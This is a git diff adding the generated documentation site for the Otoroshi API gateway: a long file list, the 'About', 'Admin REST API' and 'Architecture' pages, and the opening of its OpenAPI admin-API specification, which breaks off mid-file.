docs/manual/imgs/deploy-elb-15.png create mode 100644 docs/manual/imgs/deploy-elb-16.png create mode 100644 docs/manual/imgs/deploy-elb-17.png create mode 100644 docs/manual/imgs/deploy-elb-18.png create mode 100644 docs/manual/imgs/deploy-elb-2.png create mode 100644 docs/manual/imgs/deploy-elb-3.png create mode 100644 docs/manual/imgs/deploy-elb-4.png create mode 100644 docs/manual/imgs/deploy-elb-5.png create mode 100644 docs/manual/imgs/deploy-elb-6.png create mode 100644 docs/manual/imgs/deploy-elb-7.png create mode 100644 docs/manual/imgs/deploy-elb-8.png create mode 100644 docs/manual/imgs/deploy-elb-9.png create mode 100644 docs/manual/imgs/documentation.png create mode 100644 docs/manual/imgs/elastic-beanstalk.png create mode 100644 docs/manual/imgs/entities-certificates.png create mode 100644 docs/manual/imgs/entities-danger-zone.png create mode 100644 docs/manual/imgs/entities-exporters.png create mode 100644 docs/manual/imgs/entities-groups.png create mode 100644 docs/manual/imgs/entities-keys.png create mode 100644 docs/manual/imgs/entities-plugins.png create mode 100644 docs/manual/imgs/entities-routes.png create mode 100644 docs/manual/imgs/entities-security.png create mode 100644 docs/manual/imgs/entities-services.png create mode 100644 docs/manual/imgs/exchange-2.png create mode 100644 docs/manual/imgs/exchange.png create mode 100644 docs/manual/imgs/filedb.png create mode 100644 docs/manual/imgs/generated-hows-to-ldap-auth-configs.png create mode 100644 docs/manual/imgs/generated-hows-to-ldap-manage-users.png create mode 100644 docs/manual/imgs/generated-hows-to-secure-an-app-with-ldap.png create mode 100644 docs/manual/imgs/generated-hows-to-secure-with-oauth1-provider.png create mode 100644 docs/manual/imgs/generated-index-md-home.png create mode 100644 docs/manual/imgs/google.jpeg create mode 100644 docs/manual/imgs/graphql-composer.png create mode 100644 docs/manual/imgs/greenscore.png create mode 100644 docs/manual/imgs/heroku.png create mode 100644 docs/manual/imgs/hows-to-secure-app-with-oauth1-provider-input.png create mode 100644 docs/manual/imgs/hows-to-secure-app-with-oauth1-provider-trust.png create mode 100644 docs/manual/imgs/inmemory.png create mode 100644 docs/manual/imgs/jwt-token-keypair-validation.png create mode 100644 docs/manual/imgs/kafka-plaintext.png create mode 100644 docs/manual/imgs/kafka-sasl-plaintext.png create mode 100644 docs/manual/imgs/kafka-sasl-ssl.png create mode 100644 docs/manual/imgs/kafka-ssl.png create mode 100644 docs/manual/imgs/kubernetes-daikoku-integration-enabled.png create mode 100644 docs/manual/imgs/kubernetes-daikoku-integration-token.png create mode 100644 docs/manual/imgs/kubernetes.png create mode 100644 docs/manual/imgs/models-apikey.png create mode 100644 docs/manual/imgs/models-group.png create mode 100644 docs/manual/imgs/models-service.png create mode 100644 docs/manual/imgs/mtls-arch-1.jpg create mode 100644 docs/manual/imgs/mtls-arch-2.jpg create mode 100644 docs/manual/imgs/opensource.png create mode 100644 docs/manual/imgs/organizations-and-teams.png create mode 100644 docs/manual/imgs/otlp-logs.png create mode 100644 docs/manual/imgs/otlp-metrics.png create mode 100644 docs/manual/imgs/otoroshi-wasm-manager-1.png create mode 100644 docs/manual/imgs/paste.png create mode 100644 docs/manual/imgs/postgres.png create mode 100644 docs/manual/imgs/push-to-elastic.png create mode 100644 docs/manual/imgs/redis.png create mode 100644 docs/manual/imgs/relay-api-hostnames.png create mode 100644 docs/manual/imgs/relay-target-filter.png create mode 100644 docs/manual/imgs/relay.png create mode 100644 docs/manual/imgs/route_comp_openapi_import.png create mode 100644 docs/manual/imgs/scaling.png create mode 100644 docs/manual/imgs/scripts-1.png create mode 100644 docs/manual/imgs/scripts-2.png create mode 100644 docs/manual/imgs/sec-com-signing-2-bis.png create mode 100644 docs/manual/imgs/sec-com-signing-2.png create mode 100644 docs/manual/imgs/sec-com-signing-bis.png create mode 100644 docs/manual/imgs/sec-com-signing.png create mode 100644 docs/manual/imgs/secure-an-app-with-jwt-verifiers-jwtio.png create mode 100644 docs/manual/imgs/secure-an-app-with-jwt-verifiers-transform-jwtio.png create mode 100644 docs/manual/imgs/service-analytics.png create mode 100644 docs/manual/imgs/service-healthcheck.png create mode 100644 docs/manual/imgs/service-live-stats.png create mode 100644 docs/manual/imgs/small-otoroshi-logo-xmas.png create mode 100644 docs/manual/imgs/small-otoroshi-logo.png create mode 100644 docs/manual/imgs/snow-monkey-faults.png create mode 100644 docs/manual/imgs/snow-monkey-outages.png create mode 100644 docs/manual/imgs/snow-monkey-settings.png create mode 100644 docs/manual/imgs/snow-monkey-start.png create mode 100644 docs/manual/imgs/snow-monkey.png create mode 100644 docs/manual/imgs/tls-call-settings.png create mode 100644 docs/manual/imgs/tunnel-creation.jpeg create mode 100644 docs/manual/imgs/tunnel-expose.png create mode 100644 docs/manual/imgs/tunnel-exposition.png create mode 100644 docs/manual/imgs/tunnel-plugin.png create mode 100644 docs/manual/imgs/tunnel-requests.jpeg create mode 100644 docs/manual/imgs/wasm-authz.png create mode 100644 docs/manual/imgs/wasm-plugin.png create mode 100644 docs/manual/imgs/zip-backend-final-result.png create mode 100644 docs/manual/index.html create mode 100644 docs/manual/install/get-otoroshi.html create mode 100644 docs/manual/install/index.html create mode 100644 docs/manual/install/run-otoroshi.html create mode 100644 docs/manual/install/setup-otoroshi.html create mode 100644 docs/manual/js/cc.js create mode 100644 docs/manual/js/expression-language.js create mode 100644 docs/manual/js/groups.js create mode 100644 docs/manual/js/magellan.js create mode 100644 docs/manual/js/ngplugins.js create mode 100644 docs/manual/js/page.js create mode 100644 docs/manual/js/plugins.js create mode 100644 docs/manual/js/snippets.js create mode 100644 docs/manual/js/warnOldVersion.js create mode 100644 docs/manual/lib/foundation/dist/foundation.min.css create mode 100644 docs/manual/lib/foundation/dist/foundation.min.js create mode 100644 docs/manual/lib/jquery/jquery.min.js create mode 100644 docs/manual/lib/prettify/lang-scala.js create mode 100644 docs/manual/lib/prettify/prettify.css create mode 100644 docs/manual/lib/prettify/prettify.js create mode 100644 docs/manual/paradox.json create mode 100644 docs/manual/plugins/built-in-legacy-plugins.html create mode 100644 docs/manual/plugins/built-in-plugins.html create mode 100644 docs/manual/plugins/create-plugins.html create mode 100644 docs/manual/plugins/index.html create mode 100644 docs/manual/plugins/plugins.html create mode 100644 docs/manual/print-toc.xslt create mode 100644 docs/manual/schemas/architecture-1-bis.ditaa create mode 100644 docs/manual/schemas/architecture-1.ditaa create mode 100644 docs/manual/schemas/architecture-2-bis.ditaa create mode 100644 docs/manual/schemas/architecture-2.ditaa create mode 100644 docs/manual/schemas/datastores.ditaa create mode 100644 docs/manual/schemas/exchange-2.ditaa create mode 100644 docs/manual/schemas/exchange.ditaa create mode 100644 docs/manual/schemas/models-apikey.ditaa create mode 100644 docs/manual/schemas/models-group.ditaa create mode 100644 docs/manual/schemas/models-service.ditaa create mode 100644 docs/manual/search.html create mode 100644 docs/manual/search/fragment/en_14bac53.pf_fragment create mode 100644 docs/manual/search/fragment/en_1685679.pf_fragment create mode 100644 docs/manual/search/fragment/en_1829918.pf_fragment create mode 100644 docs/manual/search/fragment/en_1c523d2.pf_fragment create mode 100644 docs/manual/search/fragment/en_22444ae.pf_fragment create mode 100644 docs/manual/search/fragment/en_26bfb34.pf_fragment create mode 100644 docs/manual/search/fragment/en_2a4d45e.pf_fragment create mode 100644 docs/manual/search/fragment/en_2d3ab1c.pf_fragment create mode 100644 docs/manual/search/fragment/en_31bc4d9.pf_fragment create mode 100644 docs/manual/search/fragment/en_345c6f9.pf_fragment create mode 100644 docs/manual/search/fragment/en_348d59a.pf_fragment create mode 100644 docs/manual/search/fragment/en_3efdab9.pf_fragment create mode 100644 docs/manual/search/fragment/en_4523e46.pf_fragment create mode 100644 docs/manual/search/fragment/en_4bd68a7.pf_fragment create mode 100644 docs/manual/search/fragment/en_5539558.pf_fragment create mode 100644 docs/manual/search/fragment/en_561b1da.pf_fragment create mode 100644 docs/manual/search/fragment/en_57d1f4a.pf_fragment create mode 100644 docs/manual/search/fragment/en_57d93a8.pf_fragment create mode 100644 docs/manual/search/fragment/en_5c7df15.pf_fragment create mode 100644 docs/manual/search/fragment/en_5e4c139.pf_fragment create mode 100644 docs/manual/search/fragment/en_5f77579.pf_fragment create mode 100644 docs/manual/search/fragment/en_63162a2.pf_fragment create mode 100644 docs/manual/search/fragment/en_68e4195.pf_fragment create mode 100644 docs/manual/search/fragment/en_68fe52f.pf_fragment create mode 100644 docs/manual/search/fragment/en_69f4e9c.pf_fragment create mode 100644 docs/manual/search/fragment/en_6bd6a46.pf_fragment create mode 100644 docs/manual/search/fragment/en_6f1426b.pf_fragment create mode 100644 docs/manual/search/fragment/en_6fef849.pf_fragment create mode 100644 docs/manual/search/fragment/en_7052511.pf_fragment create mode 100644 docs/manual/search/fragment/en_70d47ea.pf_fragment create mode 100644 docs/manual/search/fragment/en_7287c5f.pf_fragment create mode 100644 docs/manual/search/fragment/en_764b2d4.pf_fragment create mode 100644 docs/manual/search/fragment/en_7fa9317.pf_fragment create mode 100644 docs/manual/search/fragment/en_82e3bb3.pf_fragment create mode 100644 docs/manual/search/fragment/en_8414cf6.pf_fragment create mode 100644 docs/manual/search/fragment/en_8689667.pf_fragment create mode 100644 docs/manual/search/fragment/en_881e3a2.pf_fragment create mode 100644 docs/manual/search/fragment/en_881fb81.pf_fragment create mode 100644 docs/manual/search/fragment/en_8870422.pf_fragment create mode 100644 docs/manual/search/fragment/en_8d13f1a.pf_fragment create mode 100644 docs/manual/search/fragment/en_8f691fb.pf_fragment create mode 100644 docs/manual/search/fragment/en_9147e4c.pf_fragment create mode 100644 docs/manual/search/fragment/en_9247515.pf_fragment create mode 100644 docs/manual/search/fragment/en_9636f72.pf_fragment create mode 100644 docs/manual/search/fragment/en_96a927a.pf_fragment create mode 100644 docs/manual/search/fragment/en_9777f2c.pf_fragment create mode 100644 docs/manual/search/fragment/en_97e4251.pf_fragment create mode 100644 docs/manual/search/fragment/en_98f127a.pf_fragment create mode 100644 docs/manual/search/fragment/en_9c91d6b.pf_fragment create mode 100644 docs/manual/search/fragment/en_9e42798.pf_fragment create mode 100644 docs/manual/search/fragment/en_a45ea97.pf_fragment create mode 100644 docs/manual/search/fragment/en_a4f537f.pf_fragment create mode 100644 docs/manual/search/fragment/en_af356af.pf_fragment create mode 100644 docs/manual/search/fragment/en_b496393.pf_fragment create mode 100644 docs/manual/search/fragment/en_b5c5451.pf_fragment create mode 100644 docs/manual/search/fragment/en_b79f295.pf_fragment create mode 100644 docs/manual/search/fragment/en_ba331fb.pf_fragment create mode 100644 docs/manual/search/fragment/en_bd73492.pf_fragment create mode 100644 docs/manual/search/fragment/en_bdcae67.pf_fragment create mode 100644 docs/manual/search/fragment/en_bf1a2f6.pf_fragment create mode 100644 docs/manual/search/fragment/en_c6e5a07.pf_fragment create mode 100644 docs/manual/search/fragment/en_c9ae64c.pf_fragment create mode 100644 docs/manual/search/fragment/en_cbeed21.pf_fragment create mode 100644 docs/manual/search/fragment/en_cc18166.pf_fragment create mode 100644 docs/manual/search/fragment/en_d2b2aff.pf_fragment create mode 100644 docs/manual/search/fragment/en_d327635.pf_fragment create mode 100644 docs/manual/search/fragment/en_d44b4b7.pf_fragment create mode 100644 docs/manual/search/fragment/en_d49b2b3.pf_fragment create mode 100644 docs/manual/search/fragment/en_d4cc2c2.pf_fragment create mode 100644 docs/manual/search/fragment/en_d81947b.pf_fragment create mode 100644 docs/manual/search/fragment/en_da672b4.pf_fragment create mode 100644 docs/manual/search/fragment/en_deb34c3.pf_fragment create mode 100644 docs/manual/search/fragment/en_dfe71ee.pf_fragment create mode 100644 docs/manual/search/fragment/en_e465247.pf_fragment create mode 100644 docs/manual/search/fragment/en_e6f6a3b.pf_fragment create mode 100644 docs/manual/search/fragment/en_e99e2bc.pf_fragment create mode 100644 docs/manual/search/fragment/en_e9bec59.pf_fragment create mode 100644 docs/manual/search/fragment/en_eaa4822.pf_fragment create mode 100644 docs/manual/search/fragment/en_ef86adb.pf_fragment create mode 100644 docs/manual/search/fragment/en_f19bbdf.pf_fragment create mode 100644 docs/manual/search/fragment/en_f1df88f.pf_fragment create mode 100644 docs/manual/search/fragment/en_f6d27fb.pf_fragment create mode 100644 docs/manual/search/fragment/en_f78f922.pf_fragment create mode 100644 docs/manual/search/fragment/en_f851464.pf_fragment create mode 100644 docs/manual/search/fragment/en_fa9db89.pf_fragment create mode 100644 docs/manual/search/fragment/en_fb6c959.pf_fragment create mode 100644 docs/manual/search/fragment/en_fe1c71d.pf_fragment create mode 100644 docs/manual/search/index/en_10b6ba3.pf_index create mode 100644 docs/manual/search/index/en_1798eb8.pf_index create mode 100644 docs/manual/search/index/en_19cd13c.pf_index create mode 100644 docs/manual/search/index/en_19db2f3.pf_index create mode 100644 docs/manual/search/index/en_4472772.pf_index create mode 100644 docs/manual/search/index/en_5a19765.pf_index create mode 100644 docs/manual/search/index/en_7b1a9b7.pf_index create mode 100644 docs/manual/search/index/en_833fa16.pf_index create mode 100644 docs/manual/search/index/en_be2d6a4.pf_index create mode 100644 docs/manual/search/index/en_c7d457d.pf_index create mode 100644 docs/manual/search/index/en_dab82bf.pf_index create mode 100644 docs/manual/search/pagefind-entry.json create mode 100644 docs/manual/search/pagefind-highlight.js create mode 100644 docs/manual/search/pagefind-modular-ui.css create mode 100644 docs/manual/search/pagefind-modular-ui.js create mode 100644 docs/manual/search/pagefind-ui.css create mode 100644 docs/manual/search/pagefind-ui.js create mode 100644 docs/manual/search/pagefind.en_7715add9a7.pf_meta create mode 100644 docs/manual/search/pagefind.js create mode 100644 docs/manual/search/wasm.en.pagefind create mode 100644 docs/manual/search/wasm.unknown.pagefind create mode 100644 docs/manual/snippets/.gitignore create mode 100644 docs/manual/snippets/build.gradle create mode 100644 docs/manual/snippets/build.sbt create mode 100644 docs/manual/snippets/cluster-run-ha.sh create mode 100644 docs/manual/snippets/crds/apikey.yaml create mode 100644 docs/manual/snippets/crds/auth.yaml create mode 100644 docs/manual/snippets/crds/certificate.yaml create mode 100644 docs/manual/snippets/crds/group.yaml create mode 100644 docs/manual/snippets/crds/jwt.yaml create mode 100644 docs/manual/snippets/crds/organization.yaml create mode 100644 docs/manual/snippets/crds/service-descriptor.yaml create mode 100644 docs/manual/snippets/crds/team.yaml create mode 100644 docs/manual/snippets/datastores/cassandra.conf create mode 100644 docs/manual/snippets/datastores/file.conf create mode 100644 docs/manual/snippets/datastores/http.conf create mode 100644 docs/manual/snippets/datastores/inmemory.conf create mode 100644 docs/manual/snippets/datastores/lettuce.conf create mode 100644 docs/manual/snippets/datastores/pg.conf create mode 100644 docs/manual/snippets/datastores/redis.conf create mode 100644 docs/manual/snippets/datastores/s3.conf create mode 100644 docs/manual/snippets/embed.java create mode 100644 docs/manual/snippets/embed.scala create mode 100644 docs/manual/snippets/fetch.sh create mode 100644 docs/manual/snippets/filter.java create mode 100644 docs/manual/snippets/filter.scala create mode 100644 docs/manual/snippets/haproxy-http.conf create mode 100644 docs/manual/snippets/haproxy-tcp.conf create mode 100644 docs/manual/snippets/nginx-http.conf create mode 100644 docs/manual/snippets/nginx-tcp.conf create mode 100644 docs/manual/snippets/proxy.rs create mode 100644 docs/manual/snippets/reference-env.conf create mode 100644 docs/manual/snippets/reference.conf create mode 100644 docs/manual/snippets/tcp-proxy.js create mode 100644 docs/manual/snippets/wasmo/Cargo.toml create mode 100644 docs/manual/snippets/wasmo/go.mod create mode 100644 docs/manual/snippets/wasmo/host.go create mode 100644 docs/manual/snippets/wasmo/host.rs create mode 100644 docs/manual/snippets/wasmo/package.json create mode 100644 docs/manual/snippets/wasmo/target.go create mode 100644 docs/manual/snippets/wasmo/target.js create mode 100644 docs/manual/snippets/wasmo/target.rs create mode 100644 docs/manual/snippets/wasmo/target.ts create mode 100644 docs/manual/snippets/wasmo/validator.go create mode 100644 docs/manual/snippets/wasmo/validator.js create mode 100644 docs/manual/snippets/wasmo/validator.rs create mode 100644 docs/manual/snippets/wasmo/validator.ts create mode 100644 docs/manual/topics/anonymous-reporting.html create mode 100644 docs/manual/topics/chaos-engineering.html create mode 100644 docs/manual/topics/dev-portal.html create mode 100644 docs/manual/topics/engine.html create mode 100644 docs/manual/topics/events-and-analytics.html create mode 100644 docs/manual/topics/expression-language.html create mode 100644 docs/manual/topics/graphql-composer.html create mode 100644 docs/manual/topics/green-score.html create mode 100644 docs/manual/topics/http3.html create mode 100644 docs/manual/topics/index.html create mode 100644 docs/manual/topics/monitoring.html create mode 100644 docs/manual/topics/netty-server.html create mode 100644 docs/manual/topics/opentelemetry.html create mode 100644 docs/manual/topics/otoroshi-protocol.html create mode 100644 docs/manual/topics/pki.html create mode 100644 docs/manual/topics/relay-routing.html create mode 100644 docs/manual/topics/secrets.html create mode 100644 docs/manual/topics/sessions-mgmt.html create mode 100644 docs/manual/topics/tls.html create mode 100644 docs/manual/topics/tunnels.html create mode 100644 docs/manual/topics/user-rights.html create mode 100644 docs/manual/topics/wasm-usage.html diff --git a/docs/manual/about.html b/docs/manual/about.html new file mode 100644 index 0000000000..dd1d311061 --- /dev/null +++ b/docs/manual/about.html @@ -0,0 +1,412 @@ + + + + +About Otoroshi · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

About Otoroshi

+

At the beginning of 2017, we had the need to create a new environment to be able to create new “digital” products very quickly in an agile fashion at MAIF. Naturally we turned to PaaS solutions and chose the excellent Clever Cloud product to run our apps.

+

We also chose that every feature team will have the freedom to choose its own technological stack to build its product. It was a nice move but it has also introduced some challenges in terms of homogeneity for traceability, security, logging, … because we did not want to force library usage in the products. We could have used something like Service Mesh Pattern but the deployement model of Clever Cloud prevented us to do it.

+

The right solution was to use a reverse proxy or some kind of API Gateway able to provide tracability, logging, security with apikeys, quotas, DNS as a service locator, etc. We needed something easy to use, with a human friendly UI, a nice API to extends its features, true hot reconfiguration, able to generate internal events for third party usage. A couple of solutions were available at that time, but not one seems to fit our needs, there was always something missing, too complicated for our needs or not playing well with Clever Cloud deployment model.

+

At some point, we tried to write a small prototype to explore what could be our dream reverse proxy. The design was very simple, there were some rough edges but every major feature needed was there waiting to be enhanced.

+

Otoroshi was born and we decided to move ahead with our hairy monster :)

+

Philosophy

+

Every OSS product build at MAIF like the developer portal Daikoku or Izanami follow a common philosophy.

+
    +
  • the services or API provided should be technology agnostic.
  • +
  • http first: http is the right answer to the previous quote
  • +
  • api First: the UI is just another client of the api.
  • +
  • secured: the services exposed need authentication for both humans or machines
  • +
  • event based: the services should expose a way to get notified of what happened inside.
  • +
+ +
+
+ +
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/api.html b/docs/manual/api.html new file mode 100644 index 0000000000..566d843e21 --- /dev/null +++ b/docs/manual/api.html @@ -0,0 +1,412 @@ + + + + +Admin REST API · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Admin REST API

+

Otoroshi provides a fully featured REST admin API to perform almost every operation possible in the Otoroshi dashboard. The Otoroshi dashbaord is just a regular consumer of the admin API.

+

Using the admin API, you can do whatever you want and enhance your Otoroshi instances with a lot of features that will feet your needs.

+

Swagger descriptor

+

The Otoroshi admin API is described using OpenAPI format and is available at :

+

https://maif.github.io/otoroshi/manual/code/openapi.json

+

Every Otoroshi instance provides its own embedded OpenAPI descriptor at :

+

http://otoroshi.oto.tools:8080/api/openapi.json

+

Swagger documentation

+

You can read the OpenAPI descriptor in a more human friendly fashion using Swagger UI. The swagger UI documentation of the Otoroshi admin API is available at :

+

https://maif.github.io/otoroshi/swagger-ui/index.html

+

Every Otoroshi instance provides its own embedded OpenAPI descriptor at :

+

http://otoroshi.oto.tools:8080/api/swagger/ui

+

You can also read the swagger UI documentation of the Otoroshi admin API below :

+ +
+
+ +
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/architecture.html b/docs/manual/architecture.html new file mode 100644 index 0000000000..d4d99d7e3a --- /dev/null +++ b/docs/manual/architecture.html @@ -0,0 +1,389 @@ + + + + +Architecture · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Architecture

+

When we started the development of Otoroshi, we had several classical patterns in mind like Service gateway, Service locator, Circuit breakers, etc …

+

At start we thought about providing a bunch of librairies that would be included in each microservice or app to perform these tasks. But the more we were thinking about it, the more it was feeling weird, unagile, etc, it also prevented us to use any technical stack we wanted to use. So we decided to change our approach to something more universal.

+

We chose to make Otoroshi the central part of our microservices system, something between a reverse-proxy, a service gateway and a service locator where each call to a microservice (even from another microservice) must pass through Otoroshi. There are multiple benefits to do that, each call can be logged, audited, monitored, integrated with a circuit breaker, etc without imposing libraries and technical stack. Any service is exposed through its own domain and we rely only on DNS to handle the service location part. Any access to a service is secured by default with an api key and is supervised by a circuit breaker to avoid cascading failures.

+
+

Otoroshi tries to embrace our global philosophy by providing a full featured REST admin api, a gorgeous admin dashboard written in React that uses the api, by generating traffic events, alerts events, audit events that can be consumed by several channels. Otoroshi also supports a bunch of datastores to better match with different use cases.

+
+ +
+
+
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/code/openapi.json b/docs/manual/code/openapi.json new file mode 100644 index 0000000000..ed160125a1 --- /dev/null +++ b/docs/manual/code/openapi.json @@ -0,0 +1,23357 @@ +{ + "openapi" : "3.0.3", + "info" : { + "title" : "Otoroshi Admin API", + "description" : "Admin API of the Otoroshi reverse proxy", + "version" : "16.15.4", + "contact" : { + "name" : "Otoroshi Team", + "email" : "oss@maif.fr" + }, + "license" : { + "name" : "Apache 2.0", + "url" : "http://www.apache.org/licenses/LICENSE-2.0.html" + } + }, + "externalDocs" : { + "url" : "https://www.otoroshi.io", + "description" : "Otoroshi website" + }, + "servers" : [ { + "url" : "http://otoroshi-api.oto.tools:57818", + "description" : "your local otoroshi server" + } ], + "tags" : [ { + "name" : "route", + "description" : "all the operations about the route entity" + }, { + "name" : "backend", + "description" : "all the operations about the backend entity" + }, { + "name" : "route-composition", + "description" : "all the operations about the route-composition entity" + }, { + "name" : "service-descriptor", + "description" : "all the operations about the service-descriptor entity" + }, { + "name" : "tcp-service", + "description" : "all the operations about the tcp-service entity" + }, { + "name" : "error-templates", + "description" : "all the operations about the error-templates entity" + }, { + "name" : "apikey", + "description" : "all the operations about the apikey entity" + }, { + "name" : "certificate", + "description" : "all the operations about the certificate entity" + }, { + "name" : "jwt-verifier", + "description" : "all the operations about the jwt-verifier entity" + }, { + "name" : "auth-module", + "description" : "all the operations about the auth-module entity" + }, { + "name" : "admin-session", + "description" : "all the operations about the admin-session entity" + }, { + "name" : "admins", + "description" : "all the operations about the admins entity" + }, { + "name" : "auth-module-user", + "description" : "all the operations about the auth-module-user entity" + }, { + "name" : "service-group", + "description" : "all the operations about the service-group entity" + }, { + "name" : "organization", + "description" : "all the operations about the organization entity" + }, { + "name" : "tenant", + "description" : "all the operations about the tenant entity" + }, { + "name" : "team", + "description" : "all the operations about the team entity" + }, { + "name" : "data-exporter", + "description" : "all the operations about the data-exporter entity" + }, { + "name" : "global-config", + "description" : "all the operations about the global-config entity" + }, { + "name" : "green-score", + "description" : "all the operations about the green-score entity" + }, { + "name" : "foo", + "description" : "all the operations about the foo entity" + }, { + "name" : "coraza-config", + "description" : "all the operations about the coraza-config entity" + }, { + "name" : "proxy.otoroshi.io", + "description" : "all the operations in the proxy.otoroshi.io group" + }, { + "name" : "apim.otoroshi.io", + "description" : "all the operations in the apim.otoroshi.io group" + }, { + "name" : "pki.otoroshi.io", + "description" : "all the operations in the pki.otoroshi.io group" + }, { + "name" : "security.otoroshi.io", + "description" : "all the operations in the security.otoroshi.io group" + }, { + "name" : "organize.otoroshi.io", + "description" : "all the operations in the organize.otoroshi.io group" + }, { + "name" : "events.otoroshi.io", + "description" : "all the operations in the events.otoroshi.io group" + }, { + "name" : "config.otoroshi.io", + "description" : "all the operations in the config.otoroshi.io group" + }, { + "name" : "green-score.extensions.otoroshi.io", + "description" : "all the operations in the green-score.extensions.otoroshi.io group" + }, { + "name" : "foo.extensions.otoroshi.io", + "description" : "all the operations in the foo.extensions.otoroshi.io group" + }, { + "name" : "coraza-waf.extensions.otoroshi.io", + "description" : "all the operations in the coraza-waf.extensions.otoroshi.io group" + }, { + "name" : "pki", + "description" : "all the operations in the pki api" + }, { + "name" : "cluster", + "description" : "all the operations in the cluster api" + }, { + "name" : "snowmonkey", + "description" : "all the operations in the snowmonkey api" + }, { + "name" : "import-export", + "description" : "all the operations in the import-export api" + }, { + "name" : "events", + "description" : "all the operations in the events api" + }, { + "name" : "tunnels", + "description" : "all the operations in the tunnels api" + } ], + "paths" : { + "/api/pki/certs/_p12" : { + "post" : { + "tags" : [ "pki" ], + "summary" : "Import de .p12 file as client certificates", + "operationId" : "otoroshi.controllers.adminapi.PkiController.importCertFromP12", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Done" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ByteStreamBody" + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/admin-sessions/_count" : { + "get" : { + "tags" : [ "admin-session", "security.otoroshi.io" ], + "summary" : "Get number of entity of kind AdminSession", + "operationId" : "security.otoroshi.io.AdminSession.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/api/pki/cas/{ca}/cas" : { + "post" : { + "tags" : [ "pki" ], + "summary" : "Generates a sub-CA", + "operationId" : "otoroshi.controllers.adminapi.PkiController.genSubCA", + "parameters" : [ { + "name" : "ca", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "the ca parameter" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.ssl.pki.models.GenCertResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.ssl.pki.models.GenCsrQuery" + } + } + } + } + } + }, + "/apis/green-score.extensions.otoroshi.io/v1/green-scores/_count" : { + "get" : { + "tags" : [ "green-score", "green-score.extensions.otoroshi.io" ], + "summary" : "Get number of entity of kind GreenScore", + "operationId" : "green-score.extensions.otoroshi.io.GreenScore.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/routes/{id}" : { + "get" : { + "tags" : [ "route", "proxy.otoroshi.io" ], + "summary" : "Find resource of kind Route by its id", + "operationId" : "proxy.otoroshi.io.Route.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] 